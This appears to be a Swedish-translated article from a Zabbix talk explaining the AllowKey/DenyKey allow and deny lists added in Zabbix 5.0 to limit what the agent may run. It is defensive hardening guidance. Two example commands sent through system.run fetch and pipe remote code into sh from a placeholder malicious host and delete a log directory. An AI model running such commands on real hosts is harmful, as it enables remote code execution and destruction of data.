
Stöd för svarta och vita listor för metriker pÄ agentens sida
Tikhon Uskov, Integrationsingenjör, Zabbix
Dataskyddsproblem
I Zabbix 5.0 introducerades en ny funktion som förbÀttrar sÀkerheten i system som anvÀnder Zabbix Agent och ersÀtter den gamla parametern EnableRemoteCommands.
FörbÀttringen av sÀkerheten för system som anvÀnder agenten beror pÄ det faktum att agenten kan utföra ett stort antal potentiellt farliga ÄtgÀrder.
- Agenten kan samla in praktiskt taget all information, inklusive kÀnslig eller potentiellt farlig information, frÄn konfigurationsfiler, loggfiler, filer med lösenord eller andra filer.
Till exempel kan kommandoradsverktyget zabbix_get ge Ätkomst till anvÀndarlistor, deras hemkataloger, lösenordsfiler etc.

à tkomst till data med hjÀlp av kommandoradsverktyget zabbix_get
OBS. Data kan endast hÀmtas om agenten har lÀsbehörighet för den aktuella filen. Men till exempel filen /etc/passwd/ Àr lÀsbar för alla anvÀndare.
- Agenten kan ocksÄ utföra potentiellt farliga kommandon. Till exempel nyckeln *system.run[]** gör det möjligt att köra alla fjÀrrkommandon pÄ nÀtverksnoder, inklusive att köra skript frÄn Zabbix webgrÀnssnitt som ocksÄ utför kommandon pÄ agentens sida.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- I Linux körs agenten som standard utan root-rÀttigheter, medan den i Windows körs som en tjÀnst under System och har obegrÀnsad Ätkomst till filsystemet. Om inga Àndringar görs i Zabbix Agent-instÀllningarna efter installationen har agenten Ätkomst till registret, filsystemet och kan utföra WMI-förfrÄgningar.
I tidigare versioner tillÀt parametern EnableRemoteCommands=0 endast att inaktivera metriker med nyckeln *system.run[]** och köra skript frÄn webgrÀnssnittet, men det gick inte att begrÀnsa Ätkomst till specifika filer, tillÄta eller förbjuda specifika nycklar som stÀlldes in tillsammans med agenten, eller begrÀnsa anvÀndningen av specifika parametrar.

AnvÀndningen av parametern EnableRemoteCommand i tidigare versioner av Zabbix
AllowKey/DenyKey
Zabbix 5.0 bidrar till att skydda mot sÄdan obehörig Ätkomst tack vare vita och svarta listor för att tillÄta och förbjuda metriker pÄ agentens sida.
I Zabbix 5.0 Àr alla nycklar, inklusive *system.run[]**, tillÄtna, och tvÄ nya konfigurationsparametrar för agenten har lagts till:
AllowKey= â tillĂ„tna kontroller;
DenyKey= â förbjudna kontroller;
dĂ€r â nyckelmönstret med parametrar, dĂ€r jokertecken (*) anvĂ€nds.
Nycklarna AllowKey och DenyKey gör det möjligt att tillÄta eller förbjuda specifika metoder enligt ett visst mönster. Till skillnad frÄn andra konfigurationsparametrar finns det ingen begrÀnsning pÄ antalet parametrar för AllowKey/DenyKey. Detta möjliggör en exakt definition av vad agenten fÄr göra i systemet genom att skapa en kontrollstruktur - utförda nycklar, dÀr ordningen pÄ deras angivelse spelar en mycket viktig roll.
Regelns sekvens
Reglerna kontrolleras i den ordning de anges i konfigurationsfilen. Kontroll av nyckeln enligt reglerna sker till första matchning och sÄ snart nyckeln för datatelementet matchar mönstret, tillÄts eller förbjuds det. Efter det stannar kontrollen av reglerna, och andra nycklar ignoreras.
DÀrför, om ett element matchar bÄde en tillÄtande och en förbjudande regel, kommer resultatet att bero pÄ vilken regel som kommer först i konfigurationsfilen.

2 olika regler med samma mönster och nyckel vfs.file.size[/tmp/file]
Ordning för anvÀndning av nycklarna AllowKey/DenyKey:
- exakta regler,
- generella regler,
- förbjudande regel.
Till exempel, om du behöver Ätkomst till filer i en viss mapp, mÄste du först tillÄta Ätkomst till dem, och sedan förbjuda allt annat som inte omfattas av de faststÀllda tillstÄnden. Om en förbjudande regel anvÀnds först kommer Ätkomsten till mappen att vara blockerad.

Korrekt sekvens
Om det Àr nödvÀndigt att tillÄta körning av 2 verktyg via *system.run[], och en förbjudande regel anges först, kommer verktygen inte att kunna köras, eftersom det första mönstret alltid kommer att matcha vilken nyckel som helst, och efterföljande regler kommer att ignoreras.

Felaktig sekvens
Mönster
GrundlÀggande regler
Mönster â ett uttryck med jokertecken (wildcard). Jokertecknet (*) motsvarar vilket antal som helst av alla tecken i en viss position. Jokertecken kan anvĂ€ndas bĂ„de i nyckelns namn och i parametrarna. Till exempel kan du strikt definiera den första parametern med text, och ange den följande som wildcard.
Parametrarna mÄste vara inneslutna i fyrkantiga parenteser [].
system.run[*â felaktigvfs.file*.txt]â felaktigvfs.file.*[*]â korrekt
Exempel pÄ anvÀndning av wildcard.
- I nyckelnamn och i parametern. I det hÀr fallet stÀmmer nyckeln inte överens med en liknande nyckel som inte innehÄller parametern, eftersom vi i mönstret angav att vi ville fÄ en viss avslutning av nyckelnamnet och en viss uppsÀttning parametrar.
- Om inga hakparenteser anvÀnds i mönstret tillÄter mönstret alla nycklar som inte innehÄller parametrar och förbjuder alla nycklar med angiven parameter.
- Om nyckeln Àr helt angiven och parametrarna anges som wildcard kommer den att matcha alla liknande nycklar med valfria parametrar och kommer inte att matcha nyckeln utan hakparenteser, det vill sÀga det kommer att tillÄtas eller förbjudas.

Regler för att fylla i parametrar.
- Om anvĂ€ndning av en nyckel med parametrar förutsĂ€tts, mĂ„ste parametrarna skrivas in i konfigurationsfilen. Parametrarna ska anges som metatecken. Det Ă€r nödvĂ€ndigt att noggrant förbjuda Ă„tkomst till nĂ„gon fil och ta hĂ€nsyn till vilken information metrik kan returnera vid olika skrivvarianter â med parametrar och utan dem.

Egenskaper för att skriva nycklar med parametrar
- Om nyckeln anges med parametrar, men parametrarna Àr valfria och anges som metatecken, kommer nyckeln utan parametrar att tillÄtas. Till exempel, om du vill förbjuda att fÄ information om CPU-belastningen och anger att nyckeln system.cpu.load[*] ska förbjudas, kom ihÄg att nyckeln utan parametrar kommer att returnera det genomsnittliga vÀrdet av belastningen.

Regler för att fylla i parametrar
Anteckningar
InstÀllning
- Vissa regler kan inte Àndras av anvÀndaren, till exempel regler för upptÀckter (discovery) eller automatisk registrering av agenter. Reglerna AllowKey/DenyKey pÄverkar inte följande parametrar:
â HostnameItem
â HostMetadataItem
â HostInterfaceItem
OBS. Om administratören förbjuder nĂ„gon nyckel, returnerar Zabbix ingen information om varför metrik eller nyckel faller in i kategorin âNOTSUPPORTEDâ. I agentens loggfiler visas ocksĂ„ ingen information om förbud mot att utföra fjĂ€rrkommandon. Detta Ă€r gjort av sĂ€kerhetsskĂ€l men kan komplicera felsökningen om metrik faller in i en icke-stödd kategori av nĂ„gon anledning..
- Man ska inte rÀkna med nÄgon sÀrskild ordning av anslutning av externa konfigurationsfiler (till exempel i alfabethisk ordning).
Kommandoverktyg
Efter att reglerna har stÀllts in Àr det viktigt att sÀkerstÀlla att allt Àr korrekt konfigurerat.
Du kan anvÀnda nÄgot av de tre alternativen:
- LÀgg till en mÀtning i Zabbix.
- Testa med hjĂ€lp av zabbix_agentd. Zabbix-agent med alternativet -print (-p) visar alla nycklar (som Ă€r tillĂ„tna som standard), förutom de som Ă€r blockerade av konfigurationen. Och med alternativet -test (-t) för en blockerad nyckel kommer det att returnera 'Unsupported item keyâ.
- Testa med hjĂ€lp av zabbix_get. Verktyget zabbix_get med alternativet -k kommer att returnera 'ZBX_NOTSUPPORTED: Unknown metricâ.
TillÄta eller förbjuda
Du kan förbjuda filÄtkomst och sÀkerstÀlla, exempelvis med hjÀlp av verktyget zabbix_get, att filÄtkomsten Àr blockerad.

**
OBS. Citat i parametern ignoreras.
Ăven om Ă„tkomst till en sĂ„dan fil kan tillĂ„tas via en annan vĂ€g. Till exempel om den nĂ„s genom en symlĂ€nk.

Det rekommenderas att testa olika tillÀmpningar av de angivna reglerna, samt att beakta möjligheterna att kringgÄ förbud.
FrÄgor och svar
FrÄga. Varför valdes en sÄ komplex mönstermetod med eget sprÄk för att beskriva regler, rÀttigheter och förbud? Varför fanns det inte möjlighet att anvÀnda till exempel reguljÀra uttryck som Zabbix anvÀnder?
Svar. Detta handlar om regex-prestanda, eftersom agenten som regel Àr en och den kontrollerar ett stort antal mÀtningar. Regex Àr en ganska resurskrÀvande operation, och vi kan inte kontrollera tusentals mÀtningar pÄ det sÀttet. Wildcards Àr en universell, brett tillÀmpad och enkel lösning..
FrÄga. Blir Include-filerna inte kopplade i alfabetisk ordning?
Svar. SÄvitt jag vet, Àr det i praktiken omöjligt att förutsÀga sekvensen av tillÀmpning av regler om du sprider ut dem över olika filer. Jag rekommenderar att samla alla AllowKey/DenyKey-regler i en fil Include, eftersom de samverkar med varandra, och att inkludera denna fil..
FrÄga. I Zabbix 5.0 saknas alternativet 'EnableRemoteCommands=' i konfigurationsfilen och endast AllowKey/DenyKey? Àr tillgÀngliga.
Svar. Ja, det stÀmmer..
Tack för uppmÀrksamheten!
KĂ€lla: habr.com
